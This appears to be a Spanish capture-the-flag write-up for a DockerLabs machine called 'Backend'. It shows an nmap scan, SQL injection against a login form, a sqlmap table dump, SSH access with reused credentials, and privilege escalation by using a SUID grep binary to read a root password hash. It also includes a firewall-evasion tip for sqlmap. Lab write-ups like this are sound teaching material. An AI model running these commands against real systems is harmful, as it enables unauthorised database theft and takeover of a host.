> For the complete documentation index, see [llms.txt](https://ciberap.gitbook.io/ciberaprt/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ciberap.gitbook.io/ciberaprt/dockerlbas/facil/backend.md).

# Backend

## Identificación

### Escaneo de puertos

Para empezar escaneamos todos los puertos de la dirección IP de la máquina víctima, para ello uso el comando:

```bash
sudo nmap -p- -sS -sV -sC -vvv --open --min-rate=5000 -n -Pn 172.17.0.2
```

Con el comando `nmap` es el comando de escaneo de redes.\
El parámetro `-p-` indica que se escaneen todos los puertos disponibles.\
El parámetro `-sS` hace que sea un escaneo más sigiloso para no ser detectado.\
El parámetro `-sV` hace que se determine la versión del servicio de cada puerto.\
El parámetro `-sC` hace que nmap ejecute scripts para la recolección de información.\
El parámetro `-vvv` que es el triple verbose hace que me muestre el resultado de todos los puertos que vaya encontrando. \
El parámetro `--open` muestra todos los puertos que estén abiertos.\
El parámetro `--min-rate=5000` establece la tasa mínima de paquetes enviados por segundo, por lo que hace un escaneo más rápido.\
El parámetro `-n` indica que no realice la resolución de nombres DNS, sirve para acelerar el escaneo.\
El parámetro `-Pn` hace que no haga ping antes de escanear.

Nos da el siguiente resultado:

```
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 64 OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey: 
|   256 08:ba:95:95:10:20:1e:54:19:c3:33:a8:75:dd:f8:4d (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMPJ46ajVOvTej11m5rYDjs9KAJUbzC1iUdAloBEabTXlpaBY6grCd3EAwDWE33L9E7lC5k9G+g2gNtsrAq79dw=
|   256 1e:22:63:40:c9:b9:c5:6f:c2:09:29:84:6f:e7:0b:76 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIF6xGDDmewkLLpG4sexgnIhUkqp4QnkWeDoYn4PyDLS4
80/tcp open  http    syn-ack ttl 64 Apache httpd 2.4.61 ((Debian))
| http-methods: 
|_  Supported Methods: OPTIONS HEAD GET POST
|_http-server-header: Apache/2.4.61 (Debian)
|_http-title: test page
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Como vemos hay dos puertos abuertos:

* **22** que corresponde al servicio `ssh` con la versión `OpenSSH 9.2p1` de `debian`.
* **80** que corresponde al servicio `http` de `Apache httpd 2.4.61` también de `debian`.

Ahora vamos a inspeccionar la web http del puerto 80

## Inspeccionando la web

Primero vemos información básica de la web, para ello ejecutamos la herramienta `whatweb`.

<figure><img src="/files/X7V8DK2a7BVTkQrxyHia" alt=""><figcaption></figcaption></figure>

Como se puede ver nos da el siguiente resultado:

```
http://172.17.0.2 [200 OK] Apache[2.4.61], Country[RESERVED][ZZ], HTML5, HTTPServer[Debian Linux][Apache/2.4.61 (Debian)], IP[172.17.0.2], Title[test page]
```

Nos muestra el servidor con la versión que corre `Apache 2.4.61`  que vimos anteriormente, que se ejecuta en `debian`, y el **título** es `test page`.

Para ver mas información nos dirigimos directamente a la web ya que lo que hemos visto anteriormente no nos muestra tanta información.

<figure><img src="/files/Wrv3aWImQE6pKrA2krUg" alt=""><figcaption></figcaption></figure>

Como podemos ver en la web, en el código fuente es un simple documento html con el siguiente formato:

<figure><img src="/files/iUOmiMt2U2Hd7sfLKg2U" alt=""><figcaption></figcaption></figure>

Tenemos una página de **login** a la que podemos ver.

Ahí dentro vemos un simple panel de inicio de sesión.

<figure><img src="/files/yDh1XSqdt8AtsMeUil2k" alt=""><figcaption></figcaption></figure>

Si vemos el código fuente de la página podemos ver que es un formulario que envia la información por post a la ruta **login.php**.

<figure><img src="/files/VJVFZFbImPEIqHURHQUH" alt=""><figcaption></figcaption></figure>

Si iniciamos sesión con cualquiera credencial como **admin admin**, vemos que nos dirige a la ruta de **logerror.html**.

Podemos abrir el **burpsuite** para poder inspeccionar mas a fondo las solicitudes.\
Con **Ctrl+R** enviamos la solicitud al **Repeater** y así testeamos con la petición.

Podemos ver que la petición se envía como:

```
username=admin&password=password
```

Entonces podemos provar **inyecciones SQL**, para ello provamos simplemente poniendo una comilla al lado del nombre de usuario:

```
username=admin'&password=password
```

Y podemos ver en la respuesta, que en vez de darnos la ruta de `logerror.html` nos sale el siguiente error:

<figure><img src="/files/NwyjTZO55reWqNux3nJ1" alt=""><figcaption></figcaption></figure>

Por lo que el panel de **inicio de seseión es vulnerable a inyecciones SQL**.

Ya que lo sabemos, vamos a ejecutar la herramienta de **SQLMap**, haciendolo de la siguiente manera:

```shellscript
sqlmap --url http://172.17.0.2/login.html --forms --dbs --batch
```

En el comando establecemos la url `--url`, establecemos que por donde tiene que testear es en el apartado de formularios `--forms`, que nos de las bases de datos `--dbs` , que nos   lo automatize `--batch`, y ya nos mostraria el resultado en la terminal:

<figure><img src="/files/ijvBznKFmLZ6wXUWQoWD" alt=""><figcaption></figcaption></figure>

Para ejecutar el comando de manera mas sutil para los firewalls, se pueden usar los siguientes parámetros: usando *user-agents* aleatorios `--random-agent`, y hacerlo con la mínima cantidad de peticiones `--level=1`.

Después hago lo mismo, pero para ver las tablas de la base de datos `users`, en vez de usar `--dbs`, indico la base de datos `-D users`, y que me muestre las tablas `--tables`.

<figure><img src="/files/GtURsmvKYtwyOjCbxexk" alt=""><figcaption></figcaption></figure>

Vemos que hay una tabla llamada `usuarios`, por lo que para ver el contenido de la tabla, podemos ver las columnas que hay de la siguiente manera:

```bash
sqlmap --url http://172.17.0.2/login.html -D users -T usuarios --columns --forms --batch
```

Haciendo así que nos muestre las columnas que hay:

<figure><img src="/files/800YAvKuNKljzFwq60MO" alt=""><figcaption></figcaption></figure>

Haciendo así que solo nos falte ver el contenido de las columnas, para verlas las especifico en el comando de la siguiente manera:

```bash
sqlmap --url http://172.17.0.2/login.html -D users -T usuarios -C id,username,password --dump --forms --batch
```

Haciendo así que de la base de datos de users `-D users`, en la tabla usuarios `-T usuarios`, nos muestre `--dump` las columnas de id, username y password `-C id,username,password`, dandonos el siguiente resultado:

<figure><img src="/files/VTrqt467I50HY9AdIVlb" alt=""><figcaption></figcaption></figure>

## Accediendo remotamente

Provamos los usuarios y sus contraseñas para ver si son las mismas en el servicio **SSH**, y descubrimos que **pepe** si puede iniciar sesión con **SSH**.

<figure><img src="/files/aPx6QdKn9X7m0hcRqcss" alt=""><figcaption></figcaption></figure>

Probamos si el usuario pepe tiene algun privilegio con sudo y vemos que no tiene sudo.

Por lo que podemos provar si hay algún archivo que tenga permisos **SUID**, para ello lo buscamos con **find** de la siguiente manera:

```bash
find / -perm -4000 -ls 2>/dev/null
```

Y nos da el siguiente resultado, como podemos ver está el comando grep con los permisos suid:

<figure><img src="/files/xlFb0eThthX0WCLfDmmd" alt=""><figcaption></figcaption></figure>

Entonces en GTFOBins se puede ver como escalar los privilegios con **SUID**.

Después podemos seguir investigando por el servidor, y podemos ver que hay un archivo llamado `pass.hash` en el directorio root.

<figure><img src="/files/xSxbsd1RvqsJiybyUHAp" alt=""><figcaption></figcaption></figure>

Por lo que con **grep**, podemos ver el contenido del archivo filtrando por nada:

<figure><img src="/files/Q9QRuPfHVaEpELTyF7je" alt=""><figcaption></figcaption></figure>

Para **deshashear** la contraseña hasheada podemos buscar algunan herramienta online.

Y en la primera web que encontramos, pegamos el hash y nos lo encuentra:

<figure><img src="/files/9R06EYxdM445qByvYZzc" alt=""><figcaption></figcaption></figure>

Por lo que ya sabemos que la contraseña de root puede ser `spongebob34`.

Probamos y ya somos root.

<figure><img src="/files/CroyBW0h0NuEPbCInF0p" alt=""><figcaption></figcaption></figure>

En esta máquina hemos tocado temas como el de **Inyecciones SQL**, su explotación con **SQLMap**, y elevación de privilegios con permisos **SUID** en el comando grep.
